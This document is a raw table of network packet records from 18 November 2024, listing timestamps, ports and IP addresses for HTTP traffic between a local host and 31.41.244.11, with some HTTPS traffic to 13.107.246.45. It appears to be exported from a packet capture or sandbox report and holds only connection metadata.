Nov 18, 2024 23:04:12.921648979 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.922118902 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.922151089 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.922187090 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.922199011 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.922247887 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.922550917 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.922583103 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.922616005 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.922616959 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.922641039 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.922650099 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.922683001 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.922705889 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.922719002 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.922727108 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.922753096 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.922813892 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.923538923 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.923573017 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.923604965 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.923638105 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.923645020 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.923645020 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.923687935 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.923687935 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.951407909 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.951466084 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.951467037 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.951500893 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.951515913 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.951555014 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.951741934 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.951797009 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.951852083 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.951880932 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.951936007 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.967494965 CET	443	49818	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.967850924 CET	443	49818	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.969505072 CET	49818	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.972595930 CET	49818	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.972625017 CET	443	49818	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.972671986 CET	49818	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.972687006 CET	443	49818	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.975244999 CET	49823	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.975279093 CET	443	49823	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.975554943 CET	49823	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.975744009 CET	49823	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.975763083 CET	443	49823	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.979201078 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.979290962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.979346991 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.979358912 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.979393959 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.979567051 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.979599953 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.979635000 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.979651928 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.979685068 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.979736090 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.980046988 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.980079889 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.980097055 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.980113029 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.980128050 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.980148077 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.980169058 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.980184078 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.980232000 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.980665922 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.980715990 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.980748892 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.980770111 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.980783939 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.980817080 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.980833054 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.980850935 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.980870962 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.980904102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.980957985 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.981468916 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.981501102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.981535912 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.981553078 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.981568098 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.981579065 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.981602907 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.981636047 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.981654882 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.981673002 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.981726885 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.982248068 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.982280016 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.982328892 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.982352972 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.982366085 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.982378006 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.982645988 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.001048088 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.001152039 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.001153946 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.001185894 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.001208067 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.001271963 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.038441896 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.038513899 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.038536072 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.038604021 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.038667917 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.038702965 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.038733959 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.038773060 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.038835049 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.038955927 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.038989067 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.039011002 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.039021015 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.039028883 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.039057970 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.039093018 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.039124012 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.039382935 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.039458036 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.039479017 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.039513111 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.039530039 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.039583921 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.039613962 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.040095091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.040154934 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.040196896 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.040230989 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.040251017 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.040271997 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.040570974 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.040604115 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.040627956 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.040647030 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.040653944 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.040688992 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.040709972 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.040728092 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.041104078 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.041135073 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.041166067 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.041167974 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.041187048 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.041202068 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.041213036 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.041251898 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.041433096 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.041462898 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.041491985 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.041522026 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.041675091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.041702986 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.041732073 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.041735888 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.041752100 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.041770935 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.041785002 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.041804075 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.041824102 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.041841984 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.041856050 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.041903973 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.042475939 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.042509079 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.042532921 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.042551994 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.042558908 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.042593956 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.042612076 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.042625904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.042632103 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.042660952 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.042673111 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.042742014 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.043246984 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.043281078 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.043302059 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.043329954 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.043342113 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.043365002 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.043390989 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.043397903 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.043411016 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.043433905 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.043454885 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.043481112 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.070275068 CET	49817	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.070362091 CET	443	49817	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.072129011 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.072182894 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.072199106 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.072216988 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.072238922 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.072259903 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.072314024 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.072367907 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.079463005 CET	443	49819	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.079890966 CET	49819	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.079938889 CET	443	49819	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.080311060 CET	49819	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.080323935 CET	443	49819	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.099160910 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.099214077 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.099246025 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.099246979 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.099286079 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.099286079 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.099553108 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.099587917 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.099725962 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.099888086 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.099916935 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.099948883 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.099980116 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.099998951 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.099998951 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.100032091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.100066900 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.100079060 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.100128889 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.100528002 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.100559950 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.100585938 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.100594044 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.100605011 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.100627899 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.100647926 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.100661039 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.100692987 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.100713968 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.101233006 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.101264954 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.101289034 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.101298094 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.101308107 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.101332903 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.101352930 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.101366997 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.101377010 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.101402044 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.101432085 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.101453066 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.102101088 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.102133989 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.102163076 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.102166891 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.102185011 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.102200985 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.102236032 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.102238894 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.102238894 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.102267981 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.102283001 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.102305889 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.102305889 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.102358103 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.103115082 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.103148937 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.103173971 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.103183985 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.103197098 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.103218079 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.103245020 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.103251934 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.103266954 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.103286982 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.103334904 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.103336096 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.103795052 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.103826046 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.103866100 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.103866100 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.118685007 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.118762970 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.118804932 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.118804932 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.118812084 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.118846893 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.118869066 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.118922949 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.158720970 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.158795118 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.159075975 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.159109116 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.159130096 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.159153938 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.159531116 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.159563065 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.159591913 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.159598112 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.159615993 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.159647942 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.159652948 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.159697056 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.159708023 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.159729958 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.159764051 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.159785032 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.159799099 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.159816027 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.159926891 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.159989119 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.160007954 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.160062075 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.160176039 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.160214901 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.160231113 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.160255909 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.160265923 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.160314083 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.160507917 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.160566092 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.160629034 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.160661936 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.160684109 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.160698891 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.160708904 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.160734892 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.160748959 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.160784006 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.161094904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.161128044 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.161158085 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.161163092 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.161196947 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.161231041 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.161469936 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.161521912 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.161525011 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.161557913 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.161573887 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.161611080 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.161997080 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.162029028 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.162064075 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.162065029 CET	49794	80	192.168.2.4	31.41.244.11
